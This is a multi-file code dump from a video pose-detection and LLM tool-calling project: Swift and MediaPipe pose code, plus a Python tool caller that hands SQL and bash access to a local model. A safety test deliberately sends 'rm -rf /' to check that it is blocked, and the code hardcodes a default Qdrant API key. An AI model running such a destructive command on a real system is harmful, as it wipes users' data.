kCVPixelBufferPixelFormatTypeKey as String: kCVPixelFormatType_32BGRA
]
let reader = try AVAssetReader(asset: asset)
let trackOutput = AVAssetReaderTrackOutput(track: videoTrack, outputSettings: outputSettings)
trackOutput.alwaysCopiesSampleData = false
reader.add(trackOutput)
guard reader.startReading() else {
print("[PoseExpansion] ERROR: Cannot start reader")
return
}
// Process frames
var frameIndex = 0
var consecutiveMisses = 0
var activeTraceIds: Set<Int> = [] // Currently active traces being expanded
while let sampleBuffer = trackOutput.copyNextSampleBuffer() {
defer { frameIndex += 1 }
guard let pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else {
continue
}
// Check if this frame has face traces
let faceTraces = frameToTraces[frameIndex]
let isFaceFrame = faceTraces != nil && !faceTraces!.isEmpty
if isFaceFrame, let traces = faceTraces {
// Update active traces
for ft in traces {
activeTraceIds.insert(ft.traceId)
}
consecutiveMisses = 0
}
// Check if we should process this frame
let shouldProcess = isFaceFrame ||
(consecutiveMisses < missThreshold * sampleInterval && !activeTraceIds.isEmpty)
if shouldProcess {
let poseResult = detectPose(pixelBuffer: pixelBuffer)
if poseResult.hasPose {
let seconds = Double(frameIndex) / Double(fps)
// Determine trace_id for this pose
var traceId = 0
if isFaceFrame, let traces = faceTraces {
// Use the trace_id from face (may need bbox matching for multi-person)
// For now, use the first trace_id found
traceId = traces.first?.traceId ?? 0
} else {
// Inherit from nearest face frame with active trace
let nearestFaceFrame = findNearestFaceFrame(
frameIndex: frameIndex,
frameToTraces: frameToTraces,
activeTraceIds: activeTraceIds
)
if let nearest = nearestFaceFrame, let traces = frameToTraces[nearest] {
traceId = traces.first?.traceId ?? 0
}
}
poseFrameDict[frameIndex] = [
"frame": frameIndex,
"timestamp": seconds,
"trace_id": traceId,
"persons": poseResult.persons
]
consecutiveMisses = 0
} else {
consecutiveMisses += 1
}
}
// Progress logging
if frameIndex % 5000 == 0 {
let elapsed = Date().timeIntervalSince(startTime)
print("[PoseExpansion] Frame \(frameIndex)/\(totalFrames), \(poseFrameDict.count) poses, \(Int(elapsed))s")
fflush(stdout)
}
}
reader.cancelReading()
print("[PoseExpansion] Detection done: \(poseFrameDict.count) frames with pose")
// 8Hz sampling output
var outputFrames: [[String: Any]] = []
let sortedPoseFrames = poseFrameDict.keys.sorted()
var targetFrame = 0
while targetFrame < totalFrames {
// Find closest pose frame to target
var closestFrame: Int? = nil
var closestDist = Int.max
for poseFrame in sortedPoseFrames {
let dist = abs(poseFrame - targetFrame)
if dist < closestDist && dist <= sampleInterval {
closestDist = dist
closestFrame = poseFrame
}
}
if let cf = closestFrame, let data = poseFrameDict[cf] {
outputFrames.append(data)
}
targetFrame += sampleInterval
}
// Write output
let output: [String: Any] = [
"frame_count": outputFrames.count,
"fps": Double(fps),
"frames": outputFrames
]
let jsonData = try JSONSerialization.data(withJSONObject: output, options: [])
try jsonData.write(to: URL(fileURLWithPath: outputPath))
let elapsed = Date().timeIntervalSince(startTime)
print("[PoseExpansion] Done: \(outputFrames.count) frames at 8Hz, \(String(format: "%.1f", elapsed))s → \(outputPath)")
}
/// Find nearest face frame with active trace
func findNearestFaceFrame(
frameIndex: Int,
frameToTraces: [Int: [(traceId: Int, x: Double, y: Double, w: Double, h: Double)]],
activeTraceIds: Set<Int>
) -> Int? {
var nearestFrame: Int? = nil
var nearestDist = Int.max
for (frameNum, traces) in frameToTraces {
// Check if this frame has an active trace
let hasActiveTrace = traces.contains { activeTraceIds.contains($0.traceId) }
if hasActiveTrace {
let dist = abs(frameNum - frameIndex)
if dist < nearestDist {
nearestDist = dist
nearestFrame = frameNum
}
}
}
return nearestFrame
}
func detectPose(pixelBuffer: CVPixelBuffer) -> (hasPose: Bool, persons: [[String: Any]]) {
let imgW = CGFloat(CVPixelBufferGetWidth(pixelBuffer))
let imgH = CGFloat(CVPixelBufferGetHeight(pixelBuffer))
let handler = VNImageRequestHandler(cvPixelBuffer: pixelBuffer, options: [:])
let bodyReq = VNDetectHumanBodyPoseRequest()
do {
try handler.perform([bodyReq])
} catch {
return (false, [])
}
let jointNames: [VNHumanBodyPoseObservation.JointName] = [
.nose, .leftEye, .rightEye, .leftEar, .rightEar,
.neck, .root,
.leftShoulder, .rightShoulder,
.leftElbow, .rightElbow,
.leftWrist, .rightWrist,
.leftHip, .rightHip,
.leftKnee, .rightKnee,
.leftAnkle, .rightAnkle,
]
var persons: [[String: Any]] = []
let poses = bodyReq.results ?? []
for pose in poses {
var keypoints: [[String: Any]] = []
var minX = CGFloat.greatestFiniteMagnitude
var minY = CGFloat.greatestFiniteMagnitude
var maxX: CGFloat = 0
var maxY: CGFloat = 0
for joint in jointNames {
if let point = try? pose.recognizedPoint(joint) {
let desc = String(describing: joint.rawValue)
var rawName = desc
.replacingOccurrences(of: "VNRecognizedPointKey(_rawValue: ", with: "")
.replacingOccurrences(of: ")", with: "")
.trimmingCharacters(in: .whitespaces)
let nameMap: [String: String] = [
"head_joint": "nose",
"left_eye_joint": "left_eye",
"right_eye_joint": "right_eye",
"left_ear_joint": "left_ear",
"right_ear_joint": "right_ear",
"neck_1_joint": "neck",
"left_shoulder_1_joint": "left_shoulder",
"right_shoulder_1_joint": "right_shoulder",
"left_elbow_1_joint": "left_elbow",
"right_elbow_1_joint": "right_elbow",
"left_hand_joint": "left_wrist",
"right_hand_joint": "right_wrist",
"left_hip_1_joint": "left_hip",
"right_hip_1_joint": "right_hip",
"left_knee_1_joint": "left_knee",
"right_knee_1_joint": "right_knee",
"left_ankle_1_joint": "left_ankle",
"right_ankle_1_joint": "right_ankle",
"center_hip_joint": "root",
]
if let mapped = nameMap[rawName] {
rawName = mapped
}
let px = point.location.x * CGFloat(imgW)
let py = CGFloat(imgH) - point.location.y * CGFloat(imgH)
keypoints.append([
"name": rawName.isEmpty ? "\(joint)" : rawName,
"x": px,
"y": py,
"confidence": point.confidence,
])
if point.confidence > 0.1 {
minX = min(minX, px)
minY = min(minY, py)
maxX = max(maxX, px)
maxY = max(maxY, py)
}
}
}
var bbox: [String: Any] = ["x": 0, "y": 0, "width": 0, "height": 0]
if maxX > minX {
bbox = [
"x": Int(minX),
"y": Int(minY),
"width": Int(maxX - minX),
"height": Int(maxY - minY),
]
}
persons.append(["keypoints": keypoints, "bbox": bbox])
}
return (!persons.isEmpty, persons)
}
}
scripts/test_mediapipe_pose_alignment.py
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#!/opt/homebrew/bin/python3.11
"""
Test MediaPipe Pose alignment on face trace key frames
Tests 50 random key frames to determine alignment rate.
Handles multiple poses by matching only the correct one with face bbox.
Usage:
python3 scripts/test_mediapipe_pose_alignment.py --file-uuid <uuid> --sample-size 50
"""
import argparse
import json
import os
import random
import sys
import time
from pathlib import Path
try:
import cv2
import mediapipe as mp
from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions
from mediapipe.tasks.python.core.base_options import BaseOptions
except ImportError as e:
print(f"Missing dependency: {e}", file=sys.stderr)
sys.exit(1)
LANDMARK_NAMES = [
"nose", "left_eye_inner", "left_eye", "left_eye_outer",
"right_eye_inner", "right_eye", "right_eye_outer",
"left_ear", "right_ear", "mouth_left", "mouth_right",
"left_shoulder", "right_shoulder", "left_elbow", "right_elbow",
"left_wrist", "right_wrist", "left_pinky", "right_pinky",
"left_index", "right_index", "left_thumb", "right_thumb",
"left_hip", "right_hip", "left_knee", "right_knee",
"left_ankle", "right_ankle", "left_heel", "right_heel",
"left_foot_index", "right_foot_index",
]
def point_in_bbox(x, y, bbox):
"""Check if point (in pixels) is inside bbox (in pixels)."""
return (bbox['x'] <= x <= bbox['x'] + bbox['width'] and
bbox['y'] <= y <= bbox['y'] + bbox['height'])
def get_face_bbox(face_data, trace_id):
"""Get face bbox for a trace from face_traced.json."""
traces = face_data.get('traces', {})
frames = face_data.get('frames', {})
if trace_id not in traces:
return None
trace = traces[trace_id]
start_frame = str(trace.get('start_frame', 0))
if start_frame not in frames:
return None
frame_data = frames[start_frame]
faces = frame_data.get('faces', [])
# Find the face that belongs to this trace
for face in faces:
if face.get('trace_id') == int(trace_id):
return {
'x': face['x'],
'y': face['y'],
'width': face['width'],
'height': face['height']
}
# Fallback: use first face
if faces:
face = faces[0]
return {
'x': face['x'],
'y': face['y'],
'width': face['width'],
'height': face['height']
}
return None
def check_pose_alignment(pose_landmarks, face_bbox, img_width, img_height):
"""
Check if pose face keypoints align with face bbox.
Returns: (aligned: bool, face_keypoints: dict)
"""
# Get face keypoints from pose
kp_dict = {}
for idx, landmark in enumerate(pose_landmarks):
if idx < len(LANDMARK_NAMES):
name = LANDMARK_NAMES[idx]
if name in ['nose', 'left_eye', 'right_eye']:
# Convert normalized coords to pixels
kp_dict[name] = {
'x': landmark.x * img_width,
'y': landmark.y * img_height,
'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0
}
# Check if all 3 keypoints are in bbox
required = ['nose', 'left_eye', 'right_eye']
if not all(k in kp_dict for k in required):
return False, kp_dict
for name in required:
kp = kp_dict[name]
if not point_in_bbox(kp['x'], kp['y'], face_bbox):
return False, kp_dict
return True, kp_dict
def test_alignment(file_uuid, output_dir, sample_size=None):
"""Test MediaPipe pose alignment on key frames.
Args:
sample_size: If None, process all key frames. Otherwise, sample N.
"""
# Load face data
face_json = Path(output_dir) / f"{file_uuid}.face_traced.json"
if not face_json.exists():
print(f"[pose_keyframe] Face file not found: {face_json}", file=sys.stderr)
return
with open(face_json) as f:
face_data = json.load(f)
# Get all trace IDs with key_frame.jpg
output_path = Path(output_dir) / file_uuid
trace_dirs = sorted(output_path.glob("trace_*"))
valid_traces = []
for trace_dir in trace_dirs:
key_frame = trace_dir / "key_frame.jpg"
if key_frame.exists():
trace_id = trace_dir.name.replace("trace_", "")
valid_traces.append(trace_id)
print(f"[pose_keyframe] Found {len(valid_traces)} traces with key_frame.jpg")
# Sample or process all
if sample_size and len(valid_traces) > sample_size:
sample_traces = random.sample(valid_traces, sample_size)
else:
sample_traces = valid_traces
print(f"[pose_keyframe] Processing {len(sample_traces)} key frames...")
# Download model
model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task")
if not os.path.exists(model_path):
os.makedirs(os.path.dirname(model_path), exist_ok=True)
print(f"[test] Downloading model...")
import urllib.request
url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task"
urllib.request.urlretrieve(url, model_path)
# Initialize MediaPipe
options = PoseLandmarkerOptions(
base_options=BaseOptions(model_asset_path=model_path),
running_mode=mp.tasks.vision.RunningMode.IMAGE,
)
detector = PoseLandmarker.create_from_options(options)
# Test each sample
results = []
for i, trace_id in enumerate(sample_traces):
key_frame_path = output_path / f"trace_{trace_id}" / "key_frame.jpg"
# Get face bbox
face_bbox = get_face_bbox(face_data, trace_id)
if not face_bbox:
results.append({
'trace_id': trace_id,
'status': 'no_face_bbox',
'aligned': False
})
continue
# Read image
img = cv2.imread(str(key_frame_path))
if img is None:
results.append({
'trace_id': trace_id,
'status': 'cannot_read_image',
'aligned': False
})
continue
img_height, img_width = img.shape[:2]
# Detect pose
rgb_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_img)
results_mp = detector.detect(mp_image)
if not results_mp.pose_landmarks:
results.append({
'trace_id': trace_id,
'status': 'no_pose_detected',
'aligned': False
})
continue
# Check each pose for alignment
aligned_poses = []
for pose_landmarks in results_mp.pose_landmarks:
aligned, face_kps = check_pose_alignment(
pose_landmarks, face_bbox, img_width, img_height
)
if aligned:
# Get all keypoints
all_keypoints = []
for idx, landmark in enumerate(pose_landmarks):
if idx < len(LANDMARK_NAMES):
name = LANDMARK_NAMES[idx]
all_keypoints.append({
'name': name,
'x': landmark.x * img_width,
'y': landmark.y * img_height,
'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0
})
aligned_poses.append({
'face_keypoints': face_kps,
'keypoints': all_keypoints
})
if aligned_poses:
# Get all keypoints from the best aligned pose
best_pose = aligned_poses[0]
all_keypoints = []
for idx, landmark in enumerate(pose_landmarks):
if idx < len(LANDMARK_NAMES):
name = LANDMARK_NAMES[idx]
all_keypoints.append({
'name': name,
'x': landmark.x * img_width,
'y': landmark.y * img_height,
'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0
})
pose_data = {
'keypoints': all_keypoints,
'face_keypoints': best_pose['face_keypoints'],
'num_poses_detected': len(results_mp.pose_landmarks),
'num_aligned': len(aligned_poses)
}
results.append({
'trace_id': trace_id,
'status': 'aligned',
'aligned': True,
'pose_data': pose_data
})
else:
results.append({
'trace_id': trace_id,
'status': 'pose_not_aligned',
'aligned': False,
'num_poses_detected': len(results_mp.pose_landmarks)
})
if (i + 1) % 10 == 0:
print(f"[test] Processed {i+1}/{len(sample_traces)} samples...")
detector.close()
# Calculate statistics
total = len(results)
aligned_count = sum(1 for r in results if r.get('aligned'))
status_counts = {}
for r in results:
status = r.get('status', 'unknown')
status_counts[status] = status_counts.get(status, 0) + 1
print(f"\n[pose_keyframe] === RESULTS ===")
print(f"[pose_keyframe] Total processed: {total}")
print(f"[pose_keyframe] Aligned: {aligned_count} ({aligned_count/total*100:.1f}%)")
print(f"[pose_keyframe] Not aligned: {total - aligned_count} ({(total-aligned_count)/total*100:.1f}%)")
print(f"\n[pose_keyframe] Status breakdown:")
for status, count in sorted(status_counts.items()):
print(f"[pose_keyframe] {status}: {count} ({count/total*100:.1f}%)")
# Save results
output_file = Path(output_dir) / f"{file_uuid}.pose_keyframe_results.json"
with open(output_file, 'w') as f:
json.dump({
'total_processed': total,
'aligned': aligned_count,
'alignment_rate': f"{aligned_count/total*100:.1f}%",
'status_counts': status_counts,
'results': results
}, f, indent=2)
print(f"\n[pose_keyframe] Results saved to: {output_file}")
# Update trace_profile.json for aligned poses
print(f"\n[pose_keyframe] Updating trace_profile.json for aligned poses...")
updated_count = 0
for r in results:
if r.get('aligned') and r.get('pose_data'):
trace_id = r['trace_id']
profile_path = output_path / f"trace_{trace_id}" / "trace_profile.json"
if profile_path.exists():
with open(profile_path) as f:
profile = json.load(f)
profile['pose'] = r['pose_data']
profile['pose_aligned'] = True
with open(profile_path, 'w') as f:
json.dump(profile, f, indent=2)
updated_count += 1
print(f"[pose_keyframe] Updated {updated_count} trace_profile.json files")
def main():
parser = argparse.ArgumentParser(description="Process MediaPipe pose on key frames")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--sample-size", "-s", type=int, default=None, help="Sample size (default: all)")
parser.add_argument("--all", "-a", action="store_true", help="Process all key frames")
args = parser.parse_args()
sample_size = None if args.all else args.sample_size
test_alignment(args.file_uuid, args.output_dir, sample_size)
if __name__ == "__main__":
main()
scripts/test_tool_caller.py
+141
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#!/usr/bin/env python3
"""
Test script for Tool Calling Module
====================================
Tests sequential multi-tool execution.
"""
import sys
import os
sys.path.insert(0, os.path.dirname(__file__))
from tool_caller import OllamaToolCaller, ToolResult
import json
def test_single_tool():
"""Test single tool call"""
print("=" * 60)
print("TEST 1: Single Tool Call (PostgreSQL)")
print("=" * 60)
caller = OllamaToolCaller()
caller.register_default_tools()
query = "How many videos are in the database?"
print(f"Query: {query}")
print("-" * 60)
result = caller.run(query)
print(f"Result:\n{result}")
print()
def test_multi_tool():
"""Test multi-tool sequential call"""
print("=" * 60)
print("TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)")
print("=" * 60)
caller = OllamaToolCaller()
caller.register_default_tools()
query = "Find videos about dogs, then search for similar content in the vector database"
print(f"Query: {query}")
print("-" * 60)
result = caller.run(query)
print(f"Result:\n{result}")
print()
def test_tool_direct():
"""Test direct tool execution"""
print("=" * 60)
print("TEST 3: Direct Tool Execution")
print("=" * 60)
caller = OllamaToolCaller()
caller.register_default_tools()
# Test PostgreSQL directly
print("Testing PostgreSQL tool directly:")
result = caller.registry.execute("query_postgres", {
"query": "SELECT COUNT(*) as count FROM videos"
})
print(f" Success: {result.success}")
print(f" Data: {result.data}")
print(f" Time: {result.execution_time_ms:.1f}ms")
print()
# Test Bash directly
print("Testing Bash tool directly:")
result = caller.registry.execute("execute_bash", {
"command": "echo 'Hello from Tool Caller!' && date"
})
print(f" Success: {result.success}")
print(f" Data: {result.data}")
print(f" Time: {result.execution_time_ms:.1f}ms")
print()
def test_bash_safety():
"""Test bash command safety"""
print("=" * 60)
print("TEST 4: Bash Safety Check")
print("=" * 60)
caller = OllamaToolCaller()
caller.register_default_tools()
# Test blocked command
print("Testing blocked command (rm -rf /):")
result = caller.registry.execute("execute_bash", {
"command": "rm -rf /"
})
print(f" Success: {result.success}")
print(f" Error: {result.error}")
print()
# Test safe command
print("Testing safe command:")
result = caller.registry.execute("execute_bash", {
"command": "ls -la /tmp | head -5"
})
print(f" Success: {result.success}")
print(f" Data: {result.data}")
print()
def main():
"""Run all tests"""
print("\n" + "=" * 60)
print("TOOL CALLING MODULE - TEST SUITE")
print("=" * 60 + "\n")
try:
# Test 1: Single tool
test_single_tool()
# Test 2: Multi tool
test_multi_tool()
# Test 3: Direct execution
test_tool_direct()
# Test 4: Safety
test_bash_safety()
print("=" * 60)
print("ALL TESTS COMPLETED")
print("=" * 60)
except Exception as e:
print(f"\nERROR: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == "__main__":
main()
scripts/tool_caller.py
+790
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#!/usr/bin/env python3
"""
Momentry Tool Calling Module
============================
Supports sequential multi-tool execution using Ollama API.
Tools:
- query_postgres: PostgreSQL database queries
- search_qdrant: Vector similarity search
- execute_bash: Bash command execution
- call_api: HTTP API calls
Version: 1.1.0
Updated: 2026-07-26
Changes:
- Added embedding server health check
- Enhanced bash safety patterns
- Added logging support
- Environment variable for Qdrant collection
"""
import json
import logging
import os
import re
import subprocess
import requests
from typing import Any, Callable, Dict, List, Optional, Tuple
from dataclasses import dataclass
from datetime import datetime, date
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger('tool_caller')
class DateTimeEncoder(json.JSONEncoder):
"""Custom JSON encoder for datetime objects"""
def default(self, obj):
if isinstance(obj, (datetime, date)):
return obj.isoformat()
return super().default(obj)
@dataclass
class ToolResult:
"""Result from tool execution"""
success: bool
data: Any
error: Optional[str] = None
execution_time_ms: float = 0
class ToolRegistry:
"""Registry for available tools"""
def __init__(self):
self._tools: Dict[str, Dict[str, Any]] = {}
self._executors: Dict[str, Callable] = {}
def register(
self,
name: str,
description: str,
parameters: Dict[str, Any],
executor: Callable[[Dict[str, Any]], ToolResult]
):
"""Register a new tool"""
self._tools[name] = {
"type": "function",
"function": {
"name": name,
"description": description,
"parameters": parameters
}
}
self._executors[name] = executor
logger.debug(f"Registered tool: {name}")
def get_definitions(self) -> List[Dict[str, Any]]:
"""Get all tool definitions for API calls"""
return list(self._tools.values())
def has_tool(self, name: str) -> bool:
"""Check if tool exists"""
return name in self._executors
def execute(self, name: str, arguments: Dict[str, Any]) -> ToolResult:
"""Execute a tool by name"""
if name not in self._executors:
logger.error(f"Unknown tool: {name}")
return ToolResult(
success=False,
data=None,
error=f"Unknown tool: {name}"
)
start_time = datetime.now()
logger.info(f"Executing tool: {name} with args: {json.dumps(arguments, ensure_ascii=False)[:200]}")
try:
result = self._executors[name](arguments)
elapsed = (datetime.now() - start_time).total_seconds() * 1000
result.execution_time_ms = elapsed
if result.success:
logger.info(f"Tool {name} succeeded in {elapsed:.1f}ms")
else:
logger.error(f"Tool {name} failed: {result.error}")
return result
except Exception as e:
elapsed = (datetime.now() - start_time).total_seconds() * 1000
logger.error(f"Tool {name} exception: {e}")
return ToolResult(
success=False,
data=None,
error=str(e),
execution_time_ms=elapsed
)
class OllamaToolCaller:
"""Tool caller using Ollama API with improved stability"""
def __init__(
self,
base_url: str = "http://localhost:11434",
model: str = "llama3.1:8b",
max_iterations: int = 10,
max_tool_calls: int = 5
):
self.base_url = base_url
self.model = model
self.max_iterations = max_iterations
self.max_tool_calls = max_tool_calls
self.registry = ToolRegistry()
# System prompt optimized for tool calling
self.system_prompt = """You are a data assistant with access to tools.
CORE RULES:
1. When you receive a tool result, you MUST provide a final answer - do NOT call more tools
2. Call exactly ONE tool per response
3. Answer based on tool results, not assumptions
4. If tool fails, report the error and stop
IMPORTANT: After receiving ANY tool result, respond with a clear answer to the user."""
# Track tool calls for loop prevention
self._tool_call_history: List[str] = []
logger.info(f"Initialized OllamaToolCaller with model={model}")
def chat(self, messages: List[Dict[str, Any]]) -> Dict[str, Any]:
"""Send chat request to Ollama"""
url = f"{self.base_url}/api/chat"
payload = {
"model": self.model,
"messages": messages,
"tools": self.registry.get_definitions(),
"stream": False
}
logger.debug(f"Sending chat request to {url}")
response = requests.post(url, json=payload, timeout=120)
response.raise_for_status()
return response.json()
def execute_tool_call(self, tool_call: Dict[str, Any]) -> ToolResult:
"""Execute a single tool call with flexible argument parsing"""
func = tool_call.get("function", {})
name = func.get("name", "")
# Handle both dict and string arguments
arguments = func.get("arguments", {})
if isinstance(arguments, str):
try:
arguments = json.loads(arguments)
except json.JSONDecodeError:
arguments = {}
# Normalize arguments based on tool name
arguments = self._normalize_arguments(name, arguments)
return self.registry.execute(name, arguments)
def _normalize_arguments(self, tool_name: str, args: Dict[str, Any]) -> Dict[str, Any]:
"""Normalize arguments to match expected format"""
if not args:
return args
# For query_postgres, ensure we have 'query' parameter
if tool_name == "query_postgres":
if "query" not in args:
for key in ["query_text", "sql", "sql_query", "statement"]:
if key in args:
args["query"] = args[key]
break
# For search_qdrant, ensure we have 'query_text' parameter
elif tool_name == "search_qdrant":
if "query_text" not in args:
for key in ["query", "search", "text"]:
if key in args:
args["query_text"] = args[key]
break
return args
def _get_tool_key(self, name: str, arguments: Any) -> str:
"""Generate unique key for tool call"""
if isinstance(arguments, str):
try:
arguments = json.loads(arguments)
except:
arguments = {"raw": arguments}
return f"{name}:{json.dumps(arguments, sort_keys=True)}"
def _is_duplicate_call(self, tool_key: str) -> bool:
"""Check if this tool call was already made"""
is_dup = tool_key in self._tool_call_history
if is_dup:
logger.warning(f"Duplicate tool call detected: {tool_key[:50]}")
return is_dup
def _add_to_history(self, tool_key: str):
"""Add tool call to history"""
self._tool_call_history.append(tool_key)
def _extract_tool_from_text(self, text: str) -> Optional[Tuple[str, Dict[str, Any]]]:
"""Extract tool call from text content (when model outputs JSON instead of tool_calls)"""
if not text or '{"name":' not in text:
return None
try:
start_idx = text.find('{"name":')
if start_idx == -1:
return None
# Find the end of the JSON object
depth = 0
end_idx = start_idx
for i in range(start_idx, len(text)):
if text[i] == '{':
depth += 1
elif text[i] == '}':
depth -= 1
if depth == 0:
end_idx = i + 1
break
if end_idx > start_idx:
json_str = text[start_idx:end_idx]
# Fix common JSON issues
json_str = json_str.replace('\\ ', ' ')
json_str = json_str.replace('\\n', '\n')
tool_data = json.loads(json_str)
if 'name' in tool_data:
name = tool_data['name']
params = tool_data.get('parameters', tool_data.get('arguments', {}))
if self.registry.has_tool(name):
logger.debug(f"Extracted tool from text: {name}")
return (name, params)
except Exception as e:
logger.debug(f"Failed to extract tool from text: {e}")
return None
def _force_answer(self, messages: List[Dict[str, Any]], tool_results: str) -> str:
"""Force the model to provide a final answer based on tool results"""
messages.append({
"role": "user",
"content": f"Based on the tool results above, please provide your final answer now. Do not call any more tools.\n\nTool results:\n{tool_results}"
})
url = f"{self.base_url}/api/chat"
payload = {
"model": self.model,
"messages": messages,
"stream": False
}
try:
logger.info("Forcing final answer from model")
response = requests.post(url, json=payload, timeout=120)
response.raise_for_status()
return response.json().get("message", {}).get("content", "Unable to generate answer.")
except Exception as e:
logger.error(f"Failed to force answer: {e}")
return f"Tool execution completed. Results: {tool_results}"
def run(self, user_query: str) -> str:
"""
Run tool calling loop with user query.
Args:
user_query: The user's question or request
Returns:
Final text response from the model
"""
logger.info(f"Starting tool call loop for query: {user_query[:100]}")
self._tool_call_history = []
messages = [
{"role": "system", "content": self.system_prompt},
{"role": "user", "content": user_query}
]
tool_results_collected = []
for iteration in range(self.max_iterations):
logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
# Call LLM
response = self.chat(messages)
message = response.get("message", {})
content = message.get("content", "")
tool_calls = message.get("tool_calls", [])
# If no tool calls in response, check if content has text tool call
if not tool_calls:
extracted = self._extract_tool_from_text(content)
if extracted:
name, params = extracted
tool_key = self._get_tool_key(name, params)
if not self._is_duplicate_call(tool_key):
self._add_to_history(tool_key)
tool_call = {"function": {"name": name, "arguments": params}}
tool_result = self.execute_tool_call(tool_call)
# Build result string with error handling
if tool_result.success:
result_str = json.dumps({
"success": True,
"data": tool_result.data
}, ensure_ascii=False, cls=DateTimeEncoder)
else:
result_str = json.dumps({
"success": False,
"error": tool_result.error,
"suggestion": "Try a different tool or rephrase your query."
}, ensure_ascii=False)
messages.append({"role": "assistant", "content": "", "tool_calls": [tool_call]})
messages.append({"role": "user", "content": f"Tool result: {result_str}"})
tool_results_collected.append(f"{name}: {result_str[:500]}")
continue
# No tool call - return content
if content:
logger.info(f"Returning final answer after {iteration + 1} iterations")
return content
else:
return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "No tool was called")
# Execute first tool call (sequential)
tool_call = tool_calls[0]
func = tool_call.get("function", {})
tool_name = func.get("name", "")
arguments = func.get("arguments", {})
tool_key = self._get_tool_key(tool_name, arguments)
# Check for duplicate
if self._is_duplicate_call(tool_key):
return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "Tool already executed")
# Track and execute
self._add_to_history(tool_key)
tool_result = self.execute_tool_call(tool_call)
# Check if we've hit the tool call limit
if len(self._tool_call_history) >= self.max_tool_calls:
if tool_result.success:
result_str = json.dumps({
"success": True,
"data": tool_result.data
}, ensure_ascii=False, cls=DateTimeEncoder)
else:
result_str = json.dumps({
"success": False,
"error": tool_result.error,
"suggestion": "Try a different tool or rephrase your query."
}, ensure_ascii=False)
tool_results_collected.append(f"{tool_name}: {result_str[:500]}")
return self._force_answer(messages, "\n".join(tool_results_collected))
# Add to messages
messages.append({"role": "assistant", "content": "", "tool_calls": [tool_call]})
if tool_result.success:
result_str = json.dumps({
"success": True,
"data": tool_result.data
}, ensure_ascii=False, cls=DateTimeEncoder)
else:
result_str = json.dumps({
"success": False,
"error": tool_result.error,
"suggestion": "Try a different tool or rephrase your query."
}, ensure_ascii=False)
messages.append({"role": "user", "content": f"Tool result: {result_str}"})
tool_results_collected.append(f"{tool_name}: {result_str[:500]}")
# Max iterations reached
logger.warning(f"Max iterations ({self.max_iterations}) reached")
return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "Max iterations reached")
def register_default_tools(self, db_url: str = None, qdrant_url: str = None):
"""Register default tools with connection strings"""
# Get default collection from environment variable
default_collection = os.environ.get("QDRANT_DEFAULT_COLLECTION", "momentry_rule1")
logger.info(f"Using default Qdrant collection: {default_collection}")
# PostgreSQL tool
def query_postgres(args: Dict[str, Any]) -> ToolResult:
import psycopg2
import psycopg2.extras
query = args.get("query", "")
if not query:
return ToolResult(success=False, data=None, error="No query provided")
logger.info(f"Executing PostgreSQL query: {query[:100]}")
conn = psycopg2.connect(db_url or "postgres://accusys@localhost:5432/momentry")
try:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query)
if cur.description:
rows = cur.fetchall()
logger.info(f"Query returned {len(rows)} rows")
return ToolResult(
success=True,
data={"rows": [dict(r) for r in rows], "row_count": len(rows)}
)
else:
conn.commit()
logger.info(f"Query affected {cur.rowcount} rows")
return ToolResult(
success=True,
data={"affected_rows": cur.rowcount}
)
finally:
conn.close()
self.registry.register(
name="query_postgres",
description="Execute SQL query on PostgreSQL database. Use SELECT for queries, INSERT/UPDATE/DELETE for modifications.",
parameters={
"type": "object",
"properties": {
"query": {
"type": "string",
"description": "SQL query to execute"
}
},
"required": ["query"]
},
executor=query_postgres
)
# Qdrant tool with health check
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
import requests as req
collection = args.get("collection", default_collection)
query_text = args.get("query_text", "")
limit = args.get("limit", 10)
# Get Qdrant API key from args or environment
api_key = args.get("api_key") or os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200")
if not query_text:
return ToolResult(success=False, data=None, error="No query text provided")
logger.info(f"Searching Qdrant collection '{collection}' for: {query_text[:50]}")
# Check embedding server health
try:
embed_health = req.get("http://localhost:11436/health", timeout=5)
if embed_health.status_code != 200:
return ToolResult(
success=False,
data=None,
error=f"Embedding server not healthy (status={embed_health.status_code})"
)
except req.exceptions.ConnectionError:
return ToolResult(
success=False,
data=None,
error="Embedding server not available at http://localhost:11436"
)
except Exception as e:
return ToolResult(
success=False,
data=None,
error=f"Embedding server health check failed: {str(e)}"
)
# Get embedding
try:
embed_url = "http://localhost:11436/v1/embeddings"
embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
embed_resp.raise_for_status()
embed_data = embed_resp.json()
# Handle both response formats
if "data" in embed_data:
embedding = embed_data["data"][0]["embedding"]
elif "embeddings" in embed_data:
embedding = embed_data["embeddings"][0]
else:
return ToolResult(
success=False,
data=None,
error=f"Unexpected embedding response format: {list(embed_data.keys())}"
)
logger.info(f"Generated embedding (dim={len(embedding)})")
except Exception as e:
return ToolResult(
success=False,
data=None,
error=f"Embedding generation failed: {str(e)}"
)
# Check Qdrant collection exists
qdrant_url_base = qdrant_url or "http://localhost:6333"
headers = {"api-key": api_key}
try:
collections_url = f"{qdrant_url_base}/collections"
coll_resp = req.get(collections_url, headers=headers, timeout=10)
coll_resp.raise_for_status()
collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
